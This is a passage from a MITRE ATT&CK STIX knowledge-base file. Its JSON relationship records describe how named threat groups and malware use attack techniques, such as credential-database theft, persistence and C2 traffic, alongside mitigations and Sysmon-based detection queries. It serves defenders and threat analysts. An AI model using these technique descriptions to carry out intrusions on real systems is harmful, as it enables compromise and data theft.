"[Uroburos](https://attack.mitre.org/software/S0022) can use a custom HTTP-based protocol for large data communications that can blend with normal network traffic by riding on top of standard HTTP.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)", "relationship_type": "uses", "source_ref": "malware--80a014ba-3fef-4768-990b-37d8bd10d7f4", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--475d30ee-999c-470c-b4b3-eed40d1db799", "type": "relationship", "created": "2019-01-31T00:36:40.999Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Rascagneres, P. (2017, May 03). KONNI: A Malware Under The Radar For Years. Retrieved November 5, 2018.", "url": "https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html", "source_name": "Talos Konni May 2017"}], "modified": "2022-01-06T20:40:02.115Z", "description": "A version of [KONNI](https://attack.mitre.org/software/S0356) has dropped a Windows shortcut into the Startup folder to establish persistence.(Citation: Talos Konni May 2017)", "relationship_type": "uses", "source_ref": "malware--86b92f6c-9c05-4c51-b361-4c7bb13e21a1", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--475fef11-3344-4305-9710-cc41ba8acc0a", "type": "relationship", "created": "2020-05-15T13:17:57.723Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Securelist DarkVishnya Dec 2018", "url": "https://securelist.com/darkvishnya/89169/", "description": "Golovanov, S. (2018, December 6). DarkVishnya: Banks attacked through direct connection to local network. Retrieved May 15, 2020."}], "modified": "2020-05-15T15:08:55.549Z", "description": "(Citation: Securelist DarkVishnya Dec 2018) ", "relationship_type": "uses", "source_ref": "intrusion-set--813636db-3939-4a45-bea9-6113e970c029", "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4762aa33-bcb3-49d4-b565-f8374cb9c996", "type": "relationship", "created": "2022-03-30T14:26:51.841Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.841Z", "description": "Monitor for newly constructed network connections that are sent or received by untrusted hosts or uncommon data flows (e.g. unusual network communications or suspicious communications sending fixed size data packets at regular intervals as well as unusually long connection patterns). Consider analyzing packet contents to detect application layer protocols, leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, protocol port mismatch, anomalous syntax, or structure). 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(2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021."}], "modified": "2021-06-04T14:49:06.977Z", "description": "[HELLOKITTY](https://attack.mitre.org/software/S0617) can use an embedded RSA-2048 public key to encrypt victim data for ransom.(Citation: FireEye FiveHands April 2021)", "relationship_type": "uses", "source_ref": "malware--5d11d418-95dd-4377-b782-23160dfa17b4", "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--47747638-0f8d-4735-b16d-b52861dec73f", "type": "relationship", "created": "2020-05-08T19:27:12.495Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Inception November 2018", "url": "https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/", "description": "Lancaster, T. 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Retrieved May 8, 2020."}], "modified": "2020-05-12T15:18:44.164Z", "description": "[PowerShower](https://attack.mitre.org/software/S0441) is a backdoor written in PowerShell.(Citation: Unit 42 Inception November 2018)", "relationship_type": "uses", "source_ref": "malware--53486bc7-7748-4716-8190-e4f1fde04c53", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4775487a-b632-43f9-8372-83219e2aa98c", "type": "relationship", "created": "2020-02-21T17:31:33.867Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-08T21:00:52.932Z", "description": "Ensure that local administrator accounts have complex, unique passwords across all systems on the network.", "relationship_type": "mitigates", "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485", "target_ref": "attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--47835d17-73e1-427f-85b0-b55b610fa9ad", "type": "relationship", "created": "2017-05-31T21:33:27.059Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf", "description": "Crowdstrike Global Intelligence Team. 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Retrieved March 18, 2024.", "url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-25T21:31:42.804Z", "description": "[Scattered Spider](https://attack.mitre.org/groups/G1015) has utilized [WarzoneRAT](https://attack.mitre.org/software/S0670) to remotely access a compromised system.(Citation: CISA Scattered Spider Advisory November 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b", "target_ref": "malware--fde19a18-e502-467f-be14-58c71b4e7f4b", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--4786019e-e2d4-4d31-94fa-b9ec19e65fa4", "created": "2020-11-12T17:10:00.127Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "ESET Grandoreiro April 2020", "description": "ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020.", "url": "https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/"}, {"source_name": "Securelist Brazilian Banking Malware July 2020", "description": "GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020.", "url": "https://securelist.com/the-tetrade-brazilian-banking-malware/97779/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-11T02:26:28.446Z", "description": "The [Grandoreiro](https://attack.mitre.org/software/S0531) payload has been delivered encrypted with a custom XOR-based algorithm and also as a base64-encoded ZIP file.(Citation: Securelist Brazilian Banking Malware July 2020)(Citation: ESET Grandoreiro April 2020)(Citation: ESET Grandoreiro April 2020)", "relationship_type": "uses", "source_ref": "malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7", "target_ref": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--47880b58-f0e2-4898-a218-6df6333329ed", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/", "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", "source_name": "McAfee Gold Dragon"}], "modified": "2020-04-21T23:09:31.026Z", "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) can download additional components from the C2 server.(Citation: McAfee Gold Dragon)", "relationship_type": "uses", "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4789380f-30ac-4a85-b857-cd7d3a546d98", "type": "relationship", "created": "2022-03-30T14:26:51.867Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.867Z", "description": "Monitor for suspicious processes modifying the authorized_keys or /etc/ssh/sshd_config files.", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--47899da0-29da-4518-b94a-0f08bc01e5c9", "type": "relationship", "created": "2019-03-11T17:56:45.046Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/PowerShellEmpire/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. 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(2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021."}], "modified": "2021-01-27T16:38:12.001Z", "description": "[Evilnum](https://attack.mitre.org/groups/G0120) has sent spearphishing emails containing a link to a zip file hosted on Google Drive.(Citation: ESET EvilNum July 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--1f0f9a14-11aa-49aa-9174-bcd0eaa979de", "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--478e9268-e91a-4777-a4ee-644be4cd9fd0", "type": "relationship", "created": "2021-12-06T16:24:29.236Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "US-CERT TA18-074A", "description": "US-CERT. (2018, March 16). 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(2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"}], "modified": "2021-03-29T19:54:46.314Z", "description": "(Citation: NCC Group APT15 Alive and Strong)", "relationship_type": "uses", "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", "target_ref": "tool--33b9e38f-103c-412d-bdcf-904a91fff1e4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--47f611f4-b9f0-42ef-9629-ee4a56e737ed", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye APT32 May 2017", "description": "Carr, N.. (2017, May 14). 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Retrieved February 9, 2023.", "url": "https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-07-27T20:30:12.281Z", "description": "[FIN13](https://attack.mitre.org/groups/G1016) has harvested the NTDS.DIT file and leveraged the [Impacket](https://attack.mitre.org/software/S0357) tool on the compromised domain controller to locally decrypt it.(Citation: Sygnia Elephant Beetle Jan 2022)", "relationship_type": "uses", "source_ref": "intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4", "target_ref": "attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--47fdcab0-5aca-4685-a2d8-8e743e3c4494", "created": "2022-06-07T17:56:37.460Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "ClearSky Siamesekitten August 2021", "description": "ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By \u201cSiamesekitten\u201d - Lyceum. Retrieved June 6, 2022.", "url": "https://www.clearskysec.com/siamesekitten/"}, {"source_name": "Kaspersky Lyceum October 2021", "description": "Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022.", "url": "https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-11T00:43:29.341Z", "description": "[Milan](https://attack.mitre.org/software/S1015) can encode files containing information about the targeted system.(Citation: ClearSky Siamesekitten August 2021)(Citation: Kaspersky Lyceum October 2021)", "relationship_type": "uses", "source_ref": "malware--aea6d6b8-d832-4c90-a1bb-f52c6684db6c", "target_ref": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4800e509-0653-4895-a9f0-e0b538592875", "type": "relationship", "created": "2021-02-10T18:41:29.215Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Ebury Oct 2017", "url": "https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/", "description": "Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021."}], "modified": "2021-02-10T18:41:29.215Z", "description": "[Ebury](https://attack.mitre.org/software/S0377) has verified C2 domain ownership by decrypting the TXT record using an embedded RSA public key.(Citation: ESET Ebury Oct 2017)", "relationship_type": "uses", "source_ref": "malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--48035d76-c565-41cd-bb47-8e2a98421e14", "created": "2022-04-18T18:48:06.090Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T16:22:47.005Z", "description": "Monitor for abnormal process creations, such as a Command and Scripting Interpreter spawning from a potentially exploited application. Also look for other behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of browser or Office processes.\n\nExample, it is not expected behavior for print spool service to be executing discovery type processes. However, this is one example and could be any number of native or third party processes that are executing either unusual or unknown (potentially adversary brought) processes.\n\nNote:\n- Analytic 1, look for instances where Office Applications (e.g., Word, Excel, PowerPoint) are launched with suspicious parameters or from unusual locations\n- Analytic 2, look for abnormal child process creation by Office Applications especially when accompanied by suspicious command-line parameters\n\nAnalytic 1 - Office Application Process Execution\n\n<code> (source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") AND (Image= \u201c\\winword.exe\u201d OR Image= \u201c\\excel.exe\u201d OR Image= \u201c*\\powerpnt.exe\u201d) AND (CommandLine= \u201c*macro*\u201d OR CommandLine= \u201c*automation*\u201d OR CommandLine= \u201c*shellcode*\u201d) AND ParentCommandLine= \u201c*open*\u201d</code>\n\nAnalytic 2 - Unusual Child Process Creation\n\n<code> (source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") AND (ParentImage= \u201c\\winword.exe\u201d OR ParentImage= \u201c\\excel.exe\u201d OR ParentImage= \u201c\\powerpnt.exe\u201d) AND (Image != \u201c\\system32\\\u201d OR Image != \u201c*\\program files\u201d)</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--48042284-2fde-43f0-a3dc-f64e9f16bd77", "type": "relationship", "created": "2017-05-31T21:33:27.057Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong", "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", "source_name": "Symantec Buckeye"}, {"url": "https://recon.cx/2017/montreal/resources/slides/RECON-MTL-2017-evolution_of_pirpi.pdf", "description": "Yates, M. (2017, June 18). APT3 Uncovered: The code evolution of Pirpi. Retrieved September 28, 2017.", "source_name": "evolution of pirpi"}], "modified": "2019-04-29T18:01:20.204Z", "description": "A keylogging tool used by [APT3](https://attack.mitre.org/groups/G0022) gathers network information from the victim, including the MAC address, IP address, WINS, DHCP server, and gateway.(Citation: Symantec Buckeye)(Citation: evolution of pirpi)", "relationship_type": "uses", "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4806e7c3-c8df-477f-ac3b-819248878a79", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Unit 42 Bisonal July 2018", "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/"}, {"source_name": "Talos Bisonal Mar 2020", "url": "https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html", "description": "Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022."}], "modified": "2022-01-27T18:04:46.654Z", "description": "[Bisonal](https://attack.mitre.org/software/S0268)'s dropper creates VBS scripts on the victim\u2019s machine.(Citation: Unit 42 Bisonal July 2018)(Citation: Talos Bisonal Mar 2020) ", "relationship_type": "uses", "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", "target_ref": "attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--4807dbdc-6bcb-4aed-96f4-a782551eaefe", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf", "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.", "source_name": "PTSecurity Cobalt Group Aug 2017"}, {"url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf", "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.", "source_name": "PTSecurity Cobalt Dec 2016"}, {"url": "https://www.group-ib.com/blog/cobalt", "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", "source_name": "Group IB Cobalt Aug 2017"}], "modified": "2019-07-26T23:38:34.296Z", "description": "(Citation: PTSecurity Cobalt Group Aug 2017)(Citation: PTSecurity Cobalt Dec 2016)(Citation: Group IB Cobalt Aug 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--48106cb0-a9c8-4c68-b90a-8d517078d189", "type": "relationship", "created": "2019-01-30T18:58:03.964Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/", "source_name": "Unit42 Cannon Nov 2018"}], "modified": "2019-04-22T19:48:08.974Z", "description": "[Cannon](https://attack.mitre.org/software/S0351) exfiltrates collected data over email via SMTP/S and POP3/S C2 channels.(Citation: Unit42 Cannon Nov 2018)", "relationship_type": "uses", "source_ref": "malware--d20b397a-ea47-48a9-b503-2e2a3551e11d", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--48118305-47d1-4803-9057-6be6b0d2187a", "created": "2024-02-12T20:36:35.169Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Ensilo Darkgate 2018", "description": "Adi Zeligson & Rotem Kerner. (2018, November 13). Enter The DarkGate - New Cryptocurrency Mining and Ransomware Campaign. Retrieved February 9, 2024.", "url": "https://www.fortinet.com/blog/threat-research/enter-the-darkgate-new-cryptocurrency-mining-and-ransomware-campaign"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-14T21:40:08.451Z", "description": "[DarkGate](https://attack.mitre.org/software/S1111) uses existing command and control channels to retrieve captured cryptocurrency wallet credentials.(Citation: Ensilo Darkgate 2018)", "relationship_type": "uses", "source_ref": "malware--6f6f67c9-556d-4459-95c2-78d272190e52", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--48132286-7b7d-42cf-956b-95c75eeff1e3", "created": "2019-09-23T22:40:08.989Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye APT41 Aug 2019", "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", "url": "https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-23T15:27:10.512Z", "description": "[APT41](https://attack.mitre.org/groups/G0096) deployed Master Boot Record bootkits on Windows systems to hide their malware and maintain persistence on victim systems.(Citation: FireEye APT41 Aug 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", "target_ref": "attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--48141016-3fc6-46af-9f93-b52439ed78ea", "type": "relationship", "created": "2020-05-26T16:17:59.620Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Rocke August 2018", "url": "https://blog.talosintelligence.com/2018/08/rocke-champion-of-monero-miners.html", "description": "Liebenberg, D.. (2018, August 30). Rocke: The Champion of Monero Miners. Retrieved May 26, 2020."}, {"source_name": "Unit 42 Rocke January 2019", "url": "https://unit42.paloaltonetworks.com/malware-used-by-rocke-group-evolves-to-evade-detection-by-cloud-security-products/", "description": "Xingyu, J.. (2019, January 17). Malware Used by Rocke Group Evolves to Evade Detection by Cloud Security Products. Retrieved May 26, 2020."}], "modified": "2020-05-26T16:17:59.620Z", "description": "[Rocke](https://attack.mitre.org/groups/G0106) downloaded a file \"libprocesshider\", which could hide files on the target system.(Citation: Talos Rocke August 2018)(Citation: Unit 42 Rocke January 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad", "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--481c0cee-c977-430f-9f33-e5859b48be39", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Turla Mosquito Jan 2018", "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf"}], "modified": "2020-03-20T01:55:35.148Z", "description": "[Mosquito](https://attack.mitre.org/software/S0256)'s installer searches the Registry and system to see if specific antivirus tools are installed on the system.(Citation: ESET Turla Mosquito Jan 2018)", "relationship_type": "uses", "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90", "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--481fedde-ac7d-4d1b-a70a-b90ccd7acc52", "type": "relationship", "created": "2021-10-17T15:10:00.603Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Tonto Team October 2020", "url": "https://vb2020.vblocalhost.com/uploads/VB2020-06.pdf", "description": "Daniel Lughi, Jaromir Horejsi. (2020, October 2). Tonto Team - Exploring the TTPs of an advanced threat actor operating a large infrastructure. Retrieved October 17, 2021."}], "modified": "2021-10-17T15:10:00.603Z", "description": "[Tonto Team](https://attack.mitre.org/groups/G0131) has used the <code>ShowLocalGroupDetails</code> command to identify 